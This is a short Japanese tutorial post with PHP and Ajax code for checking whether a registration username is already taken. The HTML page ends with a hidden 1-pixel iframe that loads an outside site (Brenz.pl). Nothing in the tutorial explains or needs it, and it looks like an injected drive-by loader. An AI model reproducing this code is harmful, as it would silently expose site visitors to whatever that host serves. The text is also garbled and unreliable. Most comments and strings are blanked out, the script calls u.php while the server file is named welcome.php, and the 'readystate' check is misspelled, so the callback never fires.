PHPとAjaxを組み合わせてログイン検証を実現するDemo



ユーザー登録ページを設計し、ユーザーが登録名を入力すると、ユーザー名がすでに存在するかどうかを検出し、存在する場合はヒントを与える.
まずindexを打つphp
<html>
	<head>
		<meta http-equiv="content-type" content="text/html; charset=gb2312" />
		<script type="text/JavaScript">
		function Ajax(){
			var xmlHttpReq=null;//    xmlHttpReq
			if(window.ActiveXObject){
				xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP");
			}else if(window.XMLHttpRequest){
				xmlHttpReq=new XMLHttpRequest();
			}
			var userId=document.getElementById("userId").value;//value  id userId  
			url="u.php?userId="+userId;//  
			if(xmlHttpReq!=null){//          
				xmlHttpReq.open("GET",url,true);//open()    
				xmlHttpReq.onreadystatechange=RequestCallBack;//      RequestCallBack()
				xmlHttpReq.send(null);//       
			}
			function RequestCallBack(){//    
				if(xmlHttpReq.readystate==4){
					if(xmlHttpReq.status==200){//    
						document.getElementById("get").innerHTML=xmlHttpReq.responseText;//        id   get div
					}
				}
			}
			
		}
		
		</script>
	</head>
	<body>
	<font>
		  
	</font><br>
	<form>
	   :<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="  "onclick="Ajax()">
	
	<div id="get">
	</div>
	</form>
	<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

welcome.php
<?php 
header("content-type:text/html;charset=gb2312");
//sleep(1);

$userId=$_GET["userId"];
if($userId=="   "){
	echo "      !";
}else{
	echo "        ";
}
?>